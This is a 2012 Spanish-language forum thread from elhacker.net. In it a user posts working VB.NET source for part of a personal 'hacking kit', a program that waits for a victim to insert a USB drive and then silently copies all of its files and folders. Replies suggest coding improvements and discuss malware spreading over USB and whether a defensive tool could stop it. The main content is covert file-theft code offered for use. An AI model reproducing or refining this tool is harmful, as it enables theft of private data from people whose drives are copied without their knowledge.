Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: kub0x en 11 Abril 2012, 19:16 pm



Título: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 11 Abril 2012, 19:16 pm
Buenas para quien me lea,

estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera.

Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET

Al lío:

el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...)

Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple.

Espero que os sirva...

Source:
Código
  1. Imports Microsoft.VisualBasic.FileIO
  2. Module Interceptar
  3.    Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
  4.        Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
  5.        For Each Ruta_Archivo As String In Archivos
  6.            Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
  7.            Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
  8.            FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
  9.        Next
  10.    End Sub
  11.    Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
  12.        Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
  13.        For Each Ruta_Directorio As String In Directorios
  14.            Console.WriteLine(Ruta_Directorio)
  15.            Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
  16.            FileSystem.CreateDirectory(CurDir() + Directorio)
  17.            FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
  18.        Next
  19.    End Sub
  20.    Sub Main()
  21.        Console.WriteLine("--Interceptar Archivos/Directorios USB--")
  22.        Dim Ruta_USB As String = Nothing
  23.        While Ruta_USB = Nothing
  24.            For Each drive In FileSystem.Drives
  25.                If drive.IsReady = True And drive.DriveType = IO.DriveType.Removable Then
  26.                    Console.WriteLine("Se encontro un dispositivo USB")
  27.                    Ruta_USB = drive.Name
  28.                    Console.WriteLine(drive.Name)
  29.                    Try
  30.                        Interceptar_Archivos(Ruta_USB)
  31.                        Interceptar_Carpetas(Ruta_USB)
  32.                    Catch ex As Exception
  33.                    End Try
  34.                End If
  35.            Next
  36.        End While
  37.        Console.Read()
  38.    End Sub
  39. End Module
  40.  

Happy Hacking ;)


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: $Edu$ en 11 Abril 2012, 19:29 pm
Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de ***** :)
Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido.

Despues yo haria una funcion sola, no 2, pero eso es a gusto xD

Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara.


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 11 Abril 2012, 19:43 pm
Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de ***** :)
Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido.

Despues yo haria una funcion sola, no 2, pero eso es a gusto xD

Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara.

No incluí DoEvents() ya que en mi PC ni se congela la aplicación ni se retrasa ningun proceso pero sería Application.DoEvents(). Está compilado bajo el Framework 4.0, que lamentablemente Win7 no trae por defecto (trae el 3.5) :P Gracias por el consejo, ya me pasa en las máquinas virtuales que tengo que instalar el 4.0 siempre que trasteo con aplicaciones.

Buscaré como compilar bajo 3.5, gracias :)

Un saludo!


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: $Edu$ en 11 Abril 2012, 20:12 pm
Yo no probe tu codigo, pero me acuerdo que en vb6 tuve problemas asi, cuando hacia bucles para esperar que la pc infectada este conectada a internet y se me trababa la pc y me dijo Karcrack esa vez que ponga el DoEvents y se soluciono. Y si sigue estando en .net es porque habra que usarlo aun, es que tiene logica.. el bucle esta recorriendose muchisimas veces, vs tal vez has puesto el usb al poco tiempo, pero imaginate una pc que conecte el usb a las 10 horas, tu bucle seguira entrando y entrando sin dejar respirar, que es para lo que sirve el DoEvents.

Saludos


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 11 Abril 2012, 20:59 pm
En vb6 por lo que me he fijado se llama bastante a DoEvents para que no se congele la aplicación, bueno en .NET esto lo consigo creando un simple Hilo, o bien llamando a DoEvents como uno quiera.

Saludos.


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 11 Abril 2012, 21:42 pm
He estado monitorizando el consumo de la app y es todo el rato de 2 Mb (sin llamar a DoEvents()). Luego introduzco el USB y funciona correctamente...

Por cierto, si te fijas la aplicacion es en consola, para implementar DoEvents() tendrías que añadir una referencia a System.Windows.Forms.

Un saludo.


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: $Edu$ en 11 Abril 2012, 21:48 pm
Si, tienes razon, no me di cuenta, y creo que es para eso mismo, para las ventanas que puede traer problemas cuando estas haciendo una operacion que demora mucho, asi que no pongas nada y ta jaja, saludos, buen aporte


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: Maurice_Lupin en 15 Abril 2012, 18:49 pm
Estas utilizando sintaxis de vb6 en vb.net, según lei no es recomendable, pero funciona.

Me ha tomado tiempo el paso de vb6 a vb.net. Yo supongo que con un Thread en background deberia funcionar muy bien.

Saludos  ;-)


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 15 Abril 2012, 20:41 pm
La verdad nunca toqué vb6 :D En .NET para ejecutar esos métodos lo hago casi todas las veces mediante un hilo en vez de llamar a la función :P

Pero gracias a dios leí hace poco sobre programación asincronica, me documenté un poco por msdn y otras y ya mucho mejor con las funciones Callback y con los Delegados. La verdad que ganas bastantes recursos y puedes ahorrarte sentencias de repetición y llamadas a DoEvents (muy vb6 :D)

Saludos.


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: Maurice_Lupin en 15 Abril 2012, 23:30 pm
Se me ocurre, tal vez, se pueda programar algo para impedir el copiado al insertar la unidad flash, es cuestion de investigar.

Saludos  :silbar:


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 15 Abril 2012, 23:45 pm
Así a bote pronto meter los archivos iniciales en un array y si encuentra algun archivo distinto a los que contiene el array eliminarlo..


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: $Edu$ en 16 Abril 2012, 14:24 pm
Como te aseguras que la verificacion de archivos se hace antes de que se copie el malware? xD


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 16 Abril 2012, 14:35 pm
Como te aseguras que la verificacion de archivos se hace antes de que se copie el malware? xD

¿Das por supuesto que voy a introducir malware también en su unidad o qué? :D Aunque lo hiciera pues primero ejecutas un procedimiento que llene el array con la ruta de cada directorio/archivo y los nombres de cada archivo que vaya a introducir, si es eso lo por lo que preguntas. Luego ya comparas con lo que haya en la llave USB y si hay algo distinto a lo que esta en el array pues fuera que piso ***** :D

Saludos.


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: $Edu$ en 16 Abril 2012, 18:36 pm
No, yo digo por lo que dijo el usuario arriba.. hacer un programa que verifique si se metio algo al usb sin permiso, ya dijiste como lo harias, ahora yo te pregunto como harias para saber que esa verificacion tuya se hace antes de que se copie el malware.. es decir imaginate:

Un virus ejecutandose en la pc, verificando todo el tiempo si se introduce un usb, si es asi, se copia ahi.
Tu anti-copia, que una vez que se introduce un usb, guarda los nombre y cantidad de archivos que hay en el usb, verificando todo el tiempo si se copia un archivo nuevo al usb, si es asi, lo borra.

Son 2 procesos que empiezan a la misma vez, como te asegurarias que tu anti-copia guarde en un array los nombre de archivos, antes que el malware se haya copiado? xD
Serian 2 procesos verificando a la misma vez, en el caso


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 16 Abril 2012, 21:42 pm
¿No me entendiste?, arriba lo mencioné. Bueno la explicación era muy breve, lo que decia es que al correr la aplicacion ésta se queda a la escucha de que se introduzca la memoria, una vez introducida se genera un array en el cual estarán los directorios y archivos del usb Y EL VIRUS COPIADO (su nombre, antes de haberlo copiado) o malware a introducir, todo en un array, de ésta manera lo comparo con todos los archivos y si hay algo distinto al malware carpetas y directorios lo elimino.

Saludos.


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: $Edu$ en 17 Abril 2012, 19:23 pm
No nos estamos entendiendo, dejalo igual xD

Olvidate del tema y contestame esto:

Un virus ejecutandose en la pc, verificando todo el tiempo si se introduce un usb, si es asi, se copia ahi.
Un antivirus, que una vez que se introduce un usb, guarda los nombre y cantidad de archivos que hay en el usb, verificando todo el tiempo si se copia un archivo nuevo al usb, si es asi, lo borra.

Son 2 procesos que empiezan a la misma vez, como te asegurarias que el antivirus guarde en un array los nombre de archivos, antes que el malware se haya copiado? xD
Serian 2 procesos verificando a la misma vez, en el caso..

Si no me entiendes ta dejalo, no hay problema, es solo curiosidad que tengo y seguramente la respuesta es "el que sea mas rapido xD"


Título: Re: [APORTE] Interceptar Archivos/Directorios USB
Publicado por: kub0x en 17 Abril 2012, 23:22 pm
Te he entendido pensé que decias dentro del programa de este post... El antivirus para mí que seria el más rápido sin embargo un buen virus tumbaria el AV. No es nada de que preocuparse.

Saludos.